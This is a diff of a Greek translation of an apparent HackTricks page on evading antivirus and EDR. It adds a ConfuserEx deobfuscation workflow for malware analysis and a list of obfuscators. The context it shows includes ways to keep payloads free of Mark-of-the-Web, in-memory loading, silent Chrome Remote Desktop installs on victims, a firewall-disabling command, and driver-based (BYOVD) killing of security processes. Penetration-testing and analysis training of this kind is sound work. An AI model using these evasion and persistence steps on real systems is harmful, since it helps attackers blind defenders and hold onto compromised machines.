### Deobfuscating ConfuserEx-Protected .NET Binaries
|
||||
|
||||
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): Είναι ένας εξαιρετικός ανοιχτού κώδικα αποκρυπτογράφος για εφαρμογές .NET. Παρέχει διάφορες τεχνικές προστασίας όπως απόκρυψη ροής ελέγχου, ανίχνευση αποσφαλμάτωσης, ανίχνευση παραποίησης και κρυπτογράφηση συμβολοσειρών. Συνιστάται γιατί επιτρέπει ακόμη και την απόκρυψη συγκεκριμένων τμημάτων κώδικα.
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# αποκρυπτογράφος**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Σκοπός αυτού του έργου είναι να παρέχει ένα ανοιχτού κώδικα fork της σουίτας σύνθεσης [LLVM](http://www.llvm.org/) ικανής να παρέχει αυξημένη ασφάλεια λογισμικού μέσω [απόκρυψης κώδικα](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) και προστασίας από παραποίηση.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): Το ADVobfuscator δείχνει πώς να χρησιμοποιήσετε τη γλώσσα `C++11/14` για να δημιουργήσετε, κατά τη διάρκεια της σύνθεσης, αποκρυπτογραφημένο κώδικα χωρίς τη χρήση εξωτερικού εργαλείου και χωρίς να τροποποιήσετε τον μεταγλωττιστή.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Προσθέτει μια στρώση αποκρυπτογραφημένων λειτουργιών που δημιουργούνται από το πλαίσιο μεταπρογραμματισμού C++ που θα δυσκολέψει τη ζωή του ατόμου που θέλει να σπάσει την εφαρμογή.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Το Alcatraz είναι ένας αποκρυπτογράφος δυαδικών αρχείων x64 που είναι ικανός να αποκρύψει διάφορα διαφορετικά αρχεία pe, συμπεριλαμβανομένων: .exe, .dll, .sys
|
||||
- [**metame**](https://github.com/a0rtega/metame): Το Metame είναι μια απλή μηχανή μεταμορφωτικού κώδικα για αυθαίρετους εκτελέσιμους.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): Ο ROPfuscator είναι ένα πλαίσιο αποκρυπτογράφησης κώδικα λεπτομερούς επιπέδου για γλώσσες που υποστηρίζονται από LLVM χρησιμοποιώντας ROP (προγραμματισμός προσανατολισμένος στην επιστροφή). Ο ROPfuscator αποκρύπτει ένα πρόγραμμα σε επίπεδο κώδικα συναρμολόγησης μετατρέποντας κανονικές εντολές σε αλυσίδες ROP, αποτρέποντας την φυσική μας αντίληψη της κανονικής ροής ελέγχου.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Το Nimcrypt είναι ένας κρυπτογράφος PE .NET γραμμένος σε Nim.
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Ο Inceptor είναι ικανός να μετατρέπει υπάρχοντα EXE/DLL σε shellcode και στη συνέχεια να τα φορτώνει.
|
||||
Όταν αναλύετε κακόβουλο λογισμικό που χρησιμοποιεί το ConfuserEx 2 (ή εμπορικές παραλλαγές), είναι συνηθισμένο να αντιμετωπίζετε πολλές στρώσεις προστασίας που θα μπλοκάρουν τους αποσυμπιεστές και τις sandbox. Η ροή εργασίας παρακάτω αποκαθιστά αξιόπιστα **μια σχεδόν αυθεντική IL** που μπορεί στη συνέχεια να αποσυμπιεστεί σε C# σε εργαλεία όπως το dnSpy ή ILSpy.
|
||||
|
||||
1. Αφαίρεση αντι-παρεμβολής – Το ConfuserEx κρυπτογραφεί κάθε *σώμα μεθόδου* και το αποκρυπτογραφεί μέσα στον *στατικό κατασκευαστή* του *module* (`<Module>.cctor`). Αυτό επίσης διορθώνει το PE checksum, οπότε οποιαδήποτε τροποποίηση θα προκαλέσει κατάρρευση του δυαδικού αρχείου. Χρησιμοποιήστε το **AntiTamperKiller** για να εντοπίσετε τους κρυπτογραφημένους πίνακες μεταδεδομένων, να ανακτήσετε τα κλειδιά XOR και να ξαναγράψετε μια καθαρή συναρμολόγηση:
|
||||
```bash
|
||||
# https://github.com/wwh1004/AntiTamperKiller
|
||||
python AntiTamperKiller.py Confused.exe Confused.clean.exe
|
||||
```
|
||||
Η έξοδος περιέχει τις 6 παραμέτρους αντι-παρεμβολής (`key0-key3`, `nameHash`, `internKey`) που μπορεί να είναι χρήσιμες κατά την κατασκευή του δικού σας αποσυμπιεστή.
|
||||
|
||||
2. Ανάκτηση συμβόλων / ροής ελέγχου – τροφοδοτήστε το *καθαρό* αρχείο στο **de4dot-cex** (μια παραλλαγή του de4dot που γνωρίζει το ConfuserEx).
|
||||
```bash
|
||||
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
|
||||
```
|
||||
Σημαίες:
|
||||
• `-p crx` – επιλέξτε το προφίλ ConfuserEx 2
|
||||
• το de4dot θα αναιρέσει την επίπεδη ροή ελέγχου, θα αποκαταστήσει τα αρχικά namespaces, τις κλάσεις και τα ονόματα μεταβλητών και θα αποκρυπτογραφήσει τις σταθερές συμβολοσειρές.
|
||||
|
||||
3. Αφαίρεση κλήσεων proxy – Το ConfuserEx αντικαθιστά τις άμεσες κλήσεις μεθόδων με ελαφριές περιτυλίξεις (γνωστές και ως *κλήσεις proxy*) για να σπάσει περαιτέρω την αποσυμπίεση. Αφαιρέστε τις με το **ProxyCall-Remover**:
|
||||
```bash
|
||||
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
|
||||
```
|
||||
Μετά από αυτό το βήμα, θα πρέπει να παρατηρήσετε κανονικές .NET API όπως `Convert.FromBase64String` ή `AES.Create()` αντί για αδιαφανείς λειτουργίες περιτύλιξης (`Class8.smethod_10`, …).
|
||||
|
||||
4. Χειροκίνητος καθαρισμός – εκτελέστε το προκύπτον δυαδικό αρχείο κάτω από το dnSpy, αναζητήστε μεγάλες μπάλες Base64 ή χρήση `RijndaelManaged`/`TripleDESCryptoServiceProvider` για να εντοπίσετε το *πραγματικό* φορτίο. Συχνά το κακόβουλο λογισμικό το αποθηκεύει ως TLV-κωδικοποιημένο πίνακα byte που αρχικοποιείται μέσα στο `<Module>.byte_0`.
|
||||
|
||||
Η παραπάνω αλυσίδα αποκαθιστά τη ροή εκτέλεσης **χωρίς** να χρειάζεται να εκτελέσετε το κακόβουλο δείγμα – χρήσιμο όταν εργάζεστε σε έναν εκτός σύνδεσης σταθμό εργασίας.
|
||||
|
||||
> 🛈 Το ConfuserEx παράγει ένα προσαρμοσμένο χαρακτηριστικό που ονομάζεται `ConfusedByAttribute` που μπορεί να χρησιμοποιηθεί ως IOC για αυτόματη τριχοτόμηση δειγμάτων.
|
||||
|
||||
#### One-liner
|
||||
```bash
|
||||
autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
|
||||
```
|
||||
---
|
||||
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Ο στόχος αυτού του έργου είναι να παρέχει ένα ανοιχτού κώδικα fork της [LLVM](http://www.llvm.org/) σουίτας μεταγλώττισης που είναι ικανή να παρέχει αυξημένη ασφάλεια λογισμικού μέσω [κωδικοποίησης](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) και προστασίας από παραβιάσεις.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): Το ADVobfuscator δείχνει πώς να χρησιμοποιήσετε τη γλώσσα `C++11/14` για να δημιουργήσετε, κατά τη διάρκεια της μεταγλώττισης, κωδικοποιημένο κώδικα χωρίς να χρησιμοποιήσετε οποιοδήποτε εξωτερικό εργαλείο και χωρίς να τροποποιήσετε τον μεταγλωττιστή.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Προσθέτει μια στρώση κωδικοποιημένων λειτουργιών που παράγονται από το πλαίσιο μεταπρογραμματισμού C++ template, το οποίο θα κάνει τη ζωή του ατόμου που θέλει να σπάσει την εφαρμογή λίγο πιο δύσκολη.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Το Alcatraz είναι ένας κωδικοποιητής δυαδικών αρχείων x64 που είναι ικανός να κωδικοποιεί διάφορα διαφορετικά αρχεία pe, συμπεριλαμβανομένων: .exe, .dll, .sys
|
||||
- [**metame**](https://github.com/a0rtega/metame): Το Metame είναι μια απλή μηχανή μεταμορφωτικού κώδικα για αυθαίρετα εκτελέσιμα.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): Το ROPfuscator είναι ένα πλαίσιο κωδικοποίησης λεπτομερούς κώδικα για γλώσσες που υποστηρίζονται από LLVM χρησιμοποιώντας ROP (προγραμματισμός με προσανατολισμό επιστροφής). Το ROPfuscator κωδικοποιεί ένα πρόγραμμα σε επίπεδο κώδικα assembly μετατρέποντας κανονικές εντολές σε αλυσίδες ROP, αποτρέποντας την φυσική μας αντίληψη της κανονικής ροής ελέγχου.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Το Nimcrypt είναι ένας .NET PE Crypter γραμμένος σε Nim
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Το Inceptor είναι ικανό να μετατρέπει υπάρχοντα EXE/DLL σε shellcode και στη συνέχεια να τα φορτώνει
|
||||
|
||||
## SmartScreen & MoTW
|
||||
|
||||
Μπορεί να έχετε δει αυτήν την οθόνη κατά τη λήψη ορισμένων εκτελέσιμων από το διαδίκτυο και την εκτέλεσή τους.
|
||||
Μπορεί να έχετε δει αυτή την οθόνη όταν κατεβάζετε κάποια εκτελέσιμα από το διαδίκτυο και τα εκτελείτε.
|
||||
|
||||
Ο Microsoft Defender SmartScreen είναι ένας μηχανισμός ασφαλείας που προορίζεται να προστατεύσει τον τελικό χρήστη από την εκτέλεση δυνητικά κακόβουλων εφαρμογών.
|
||||
|
||||
@ -258,7 +292,7 @@ powershell.exe -version 2
|
||||
> [!TIP]
|
||||
> Είναι σημαντικό να σημειωθεί ότι τα εκτελέσιμα που υπογράφονται με ένα **έμπιστο** πιστοποιητικό υπογραφής **δεν θα ενεργοποιήσουν τον SmartScreen**.
|
||||
|
||||
Ένας πολύ αποτελεσματικός τρόπος για να αποτρέψετε τα payload σας από το να αποκτήσουν το Mark of The Web είναι να τα συσκευάσετε μέσα σε κάποιο είδος κοντέινερ όπως ένα ISO. Αυτό συμβαίνει επειδή το Mark-of-the-Web (MOTW) **δεν μπορεί** να εφαρμοστεί σε **μη NTFS** τόμους.
|
||||
Ένας πολύ αποτελεσματικός τρόπος για να αποτρέψετε τα payloads σας από το να αποκτήσουν το Mark of The Web είναι να τα συσκευάσετε μέσα σε κάποιο είδος κοντέινερ όπως ένα ISO. Αυτό συμβαίνει επειδή το Mark-of-the-Web (MOTW) **δεν μπορεί** να εφαρμοστεί σε **μη NTFS** τόμους.
|
||||
|
||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -302,13 +336,13 @@ Here is a demo για την παράκαμψη του SmartScreen με την
|
||||
|
||||
Η φόρτωση C# δυαδικών αρχείων στη μνήμη είναι γνωστή εδώ και αρκετό καιρό και είναι ακόμα ένας πολύ καλός τρόπος για να εκτελείτε τα εργαλεία post-exploitation σας χωρίς να πιαστείτε από το AV.
|
||||
|
||||
Δεδομένου ότι το payload θα φορτωθεί απευθείας στη μνήμη χωρίς να αγγίξει το δίσκο, θα πρέπει να ανησυχούμε μόνο για την επιδιόρθωση του AMSI για ολόκληρη τη διαδικασία.
|
||||
Δεδομένου ότι το payload θα φορτωθεί απευθείας στη μνήμη χωρίς να αγγίξει τον δίσκο, θα πρέπει να ανησυχούμε μόνο για την επιδιόρθωση του AMSI για ολόκληρη τη διαδικασία.
|
||||
|
||||
Οι περισσότερες C2 πλατφόρμες (sliver, Covenant, metasploit, CobaltStrike, Havoc, κ.λπ.) παρέχουν ήδη τη δυνατότητα εκτέλεσης C# assemblies απευθείας στη μνήμη, αλλά υπάρχουν διαφορετικοί τρόποι για να το κάνετε αυτό:
|
||||
|
||||
- **Fork\&Run**
|
||||
|
||||
Αυτό περιλαμβάνει **τη δημιουργία μιας νέας θυσιαστικής διαδικασίας**, την έγχυση του κακόβουλου κώδικα post-exploitation σε αυτή τη νέα διαδικασία, την εκτέλεση του κακόβουλου κώδικα και όταν τελειώσει, την εξόντωση της νέας διαδικασίας. Αυτό έχει τα πλεονεκτήματα και τα μειονεκτήματά του. Το πλεονέκτημα της μεθόδου fork and run είναι ότι η εκτέλεση συμβαίνει **εκτός** της διαδικασίας εμφύτευσης Beacon μας. Αυτό σημαίνει ότι αν κάτι στην ενέργεια post-exploitation μας πάει στραβά ή πιαστεί, υπάρχει **πολύ μεγαλύτερη πιθανότητα** να **επιβιώσει η εμφύτευσή μας.** Το μειονέκτημα είναι ότι έχετε **μεγαλύτερη πιθανότητα** να πιαστείτε από **Behavioral Detections**.
|
||||
Αυτό περιλαμβάνει **τη δημιουργία μιας νέας θυσιαστικής διαδικασίας**, την έγχυση του κακόβουλου κώδικα post-exploitation σε αυτή τη νέα διαδικασία, την εκτέλεση του κακόβουλου κώδικα και όταν τελειώσει, την εξόντωση της νέας διαδικασίας. Αυτό έχει τα πλεονεκτήματα και τα μειονεκτήματά του. Το πλεονέκτημα της μεθόδου fork and run είναι ότι η εκτέλεση συμβαίνει **εκτός** της διαδικασίας του Beacon implant μας. Αυτό σημαίνει ότι αν κάτι στην ενέργεια post-exploitation μας πάει στραβά ή πιαστεί, υπάρχει **πολύ μεγαλύτερη πιθανότητα** να **επιβιώσει το implant μας.** Το μειονέκτημα είναι ότι έχετε **μεγαλύτερη πιθανότητα** να πιαστείτε από **Behavioral Detections**.
|
||||
|
||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -323,17 +357,17 @@ Here is a demo για την παράκαμψη του SmartScreen με την
|
||||
|
||||
Μπορείτε επίσης να φορτώσετε C# Assemblies **από το PowerShell**, ελέγξτε το [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) και το [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
|
||||
## Χρήση Άλλων Γλωσσών Προγραμματισμού
|
||||
## Χρησιμοποιώντας Άλλες Γλώσσες Προγραμματισμού
|
||||
|
||||
Όπως προτάθηκε στο [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), είναι δυνατό να εκτελέσετε κακόβουλο κώδικα χρησιμοποιώντας άλλες γλώσσες δίνοντας στη συμβιβασμένη μηχανή πρόσβαση **στο περιβάλλον διερμηνέα που είναι εγκατεστημένο στο SMB share που ελέγχεται από τον επιτιθέμενο**.
|
||||
|
||||
Επιτρέποντας πρόσβαση στα Δυαδικά Αρχεία Διερμηνέα και το περιβάλλον στο SMB share μπορείτε να **εκτελέσετε αυθαίρετο κώδικα σε αυτές τις γλώσσες μέσα στη μνήμη** της συμβιβασμένης μηχανής.
|
||||
|
||||
Το repo υποδεικνύει: Ο Defender εξακολουθεί να σαρώνει τα σενάρια αλλά χρησιμοποιώντας Go, Java, PHP κ.λπ. έχουμε **περισσότερη ευελιξία για να παρακάμψουμε τις στατικές υπογραφές**. Οι δοκιμές με τυχαία μη-αποκρυπτογραφημένα σενάρια reverse shell σε αυτές τις γλώσσες έχουν αποδειχθεί επιτυχείς.
|
||||
Το repo υποδεικνύει: Ο Defender εξακολουθεί να σαρώνει τα σενάρια αλλά χρησιμοποιώντας Go, Java, PHP κ.λπ. έχουμε **περισσότερη ευελιξία για να παρακάμψουμε τις στατικές υπογραφές**. Οι δοκιμές με τυχαία μη-αποκρυπτογραφημένα reverse shell scripts σε αυτές τις γλώσσες έχουν αποδειχθεί επιτυχείς.
|
||||
|
||||
## TokenStomping
|
||||
|
||||
Το Token stomping είναι μια τεχνική που επιτρέπει σε έναν επιτιθέμενο να **χειραγωγήσει το access token ή ένα προϊόν ασφαλείας όπως ένα EDR ή AV**, επιτρέποντάς τους να μειώσουν τα δικαιώματα του ώστε η διαδικασία να μην πεθάνει αλλά να μην έχει άδειες για να ελέγξει κακόβουλες δραστηριότητες.
|
||||
Το Token stomping είναι μια τεχνική που επιτρέπει σε έναν επιτιθέμενο να **χειραγωγήσει το access token ή ένα προϊόν ασφαλείας όπως ένα EDR ή AV**, επιτρέποντάς τους να μειώσουν τα δικαιώματα του ώστε η διαδικασία να μην πεθάνει αλλά να μην έχει άδειες για να ελέγξει για κακόβουλες δραστηριότητες.
|
||||
|
||||
Για να το αποτρέψει αυτό, τα Windows θα μπορούσαν να **αποτρέψουν εξωτερικές διαδικασίες** από το να αποκτούν handles πάνω στα tokens των διαδικασιών ασφαλείας.
|
||||
|
||||
@ -341,11 +375,11 @@ Here is a demo για την παράκαμψη του SmartScreen με την
|
||||
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
|
||||
- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)
|
||||
|
||||
## Χρήση Εμπιστοσύνης Λογισμικού
|
||||
## Χρησιμοποιώντας Εμπιστοσύνη Λογισμικού
|
||||
|
||||
### Chrome Remote Desktop
|
||||
|
||||
Όπως περιγράφεται σε [**αυτή την ανάρτηση στο blog**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), είναι εύκολο να αναπτύξετε το Chrome Remote Desktop σε έναν υπολογιστή θύματος και στη συνέχεια να το χρησιμοποιήσετε για να τον καταλάβετε και να διατηρήσετε την επιμονή:
|
||||
Όπως περιγράφεται σε [**αυτή την ανάρτηση στο blog**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), είναι εύκολο να αναπτύξετε το Chrome Remote Desktop σε έναν υπολογιστή θύμα και στη συνέχεια να το χρησιμοποιήσετε για να τον καταλάβετε και να διατηρήσετε την επιμονή:
|
||||
1. Κατεβάστε από https://remotedesktop.google.com/, κάντε κλικ στο "Set up via SSH", και στη συνέχεια κάντε κλικ στο αρχείο MSI για Windows για να κατεβάσετε το αρχείο MSI.
|
||||
2. Εκτελέστε τον εγκαταστάτη σιωπηλά στον θύμα (απαιτείται διαχειριστής): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Επιστρέψτε στη σελίδα του Chrome Remote Desktop και κάντε κλικ στο επόμενο. Ο οδηγός θα σας ζητήσει να εξουσιοδοτήσετε; κάντε κλικ στο κουμπί Εξουσιοδότηση για να συνεχίσετε.
|
||||
@ -373,7 +407,7 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
|
||||
### **Ελέγξτε ποιες περιοχές βρίσκει ο Defender ως κακόβουλες**
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) που θα **αφαιρέσει μέρη του δυαδικού αρχείου** μέχρι να **ανακαλύψει ποιο μέρος ο Defender** βρίσκει ως κακόβουλο και να το διαχωρίσει για εσάς.\
|
||||
Μπορείτε να χρησιμοποιήσετε το [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) το οποίο θα **αφαιρέσει μέρη του δυαδικού αρχείου** μέχρι να **ανακαλύψει ποιο μέρος ο Defender** βρίσκει ως κακόβουλο και να το διαχωρίσει για εσάς.\
|
||||
Ένα άλλο εργαλείο που κάνει **το ίδιο πράγμα είναι** [**avred**](https://github.com/dobin/avred) με μια ανοιχτή ιστοσελίδα που προσφέρει την υπηρεσία στο [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
|
||||
### **Telnet Server**
|
||||
@ -393,7 +427,7 @@ netsh advfirewall set allprofiles state off
|
||||
```
|
||||
### UltraVNC
|
||||
|
||||
Κατεβάστε το από: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (θέλετε τις bin λήψεις, όχι την εγκατάσταση)
|
||||
Κατεβάστε το από: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (θέλετε τις λήψεις bin, όχι την εγκατάσταση)
|
||||
|
||||
**ΣΤΟΝ HOST**: Εκτελέστε το _**winvnc.exe**_ και ρυθμίστε τον διακομιστή:
|
||||
|
||||
@ -526,7 +560,7 @@ catch (Exception err) { }
|
||||
}
|
||||
}
|
||||
```
|
||||
### C# χρησιμοποιώντας τον μεταγλωττιστή
|
||||
### C# χρησιμοποιώντας μεταγλωττιστή
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
|
||||
```
|
||||
@ -601,7 +635,7 @@ https://github.com/praetorian-code/vulcan
|
||||
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
|
||||
sc start ServiceMouse
|
||||
```
|
||||
Η πρώτη γραμμή καταχωρεί τον οδηγό ως **υπηρεσία πυρήνα** και η δεύτερη τον ξεκινά ώστε το `\\.\ServiceMouse` να γίνει προσβάσιμο από το χρήστη.
|
||||
Η πρώτη γραμμή καταχωρεί τον οδηγό ως **υπηρεσία πυρήνα** και η δεύτερη τον ξεκινά ώστε το `\\.\ServiceMouse` να γίνει προσβάσιμο από το user land.
|
||||
3. **IOCTLs που εκτίθενται από τον οδηγό**
|
||||
| Κωδικός IOCTL | Δυνατότητα |
|
||||
|-----------:|-----------------------------------------|
|
||||
@ -621,12 +655,12 @@ CloseHandle(hDrv);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
4. **Γιατί λειτουργεί**: Ο BYOVD παρακάμπτει εντελώς τις προστασίες του χρήστη; ο κώδικας που εκτελείται στον πυρήνα μπορεί να ανοίξει *προστατευμένες* διαδικασίες, να τις τερματίσει ή να παρέμβει σε αντικείμενα πυρήνα ανεξαρτήτως PPL/PP, ELAM ή άλλων χαρακτηριστικών σκληρής προστασίας.
|
||||
4. **Γιατί λειτουργεί**: Ο BYOVD παρακάμπτει εντελώς τις προστασίες του user-mode; ο κώδικας που εκτελείται στον πυρήνα μπορεί να ανοίξει *προστατευμένες* διαδικασίες, να τις τερματίσει ή να παρέμβει σε αντικείμενα πυρήνα ανεξαρτήτως PPL/PP, ELAM ή άλλων χαρακτηριστικών σκληρής προστασίας.
|
||||
|
||||
Ανίχνευση / Μετριασμός
|
||||
• Ενεργοποιήστε τη λίστα αποκλεισμού ευάλωτων οδηγών της Microsoft (`HVCI`, `Smart App Control`) ώστε τα Windows να αρνούνται να φορτώσουν το `AToolsKrnl64.sys`.
|
||||
• Παρακολουθήστε τη δημιουργία νέων *υπηρεσιών πυρήνα* και ειδοποιήστε όταν ένας οδηγός φορτώνεται από έναν κατάλογο που μπορεί να γραφτεί από τον κόσμο ή δεν είναι παρών στη λίστα επιτρεπόμενων.
|
||||
• Παρακολουθήστε για handles σε αντικείμενα συσκευών σε λειτουργία χρήστη που ακολουθούνται από ύποπτες κλήσεις `DeviceIoControl`.
|
||||
• Παρακολουθήστε για handles user-mode σε προσαρμοσμένα αντικείμενα συσκευών που ακολουθούνται από ύποπτες κλήσεις `DeviceIoControl`.
|
||||
|
||||
### Παράκαμψη Ελέγχων Θέσης του Zscaler Client Connector μέσω Διόρθωσης Δυαδικών Αρχείων στον Δίσκο
|
||||
|
||||
@ -668,7 +702,8 @@ f.write(replacement)
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
|
||||
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
|
||||
|
||||
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user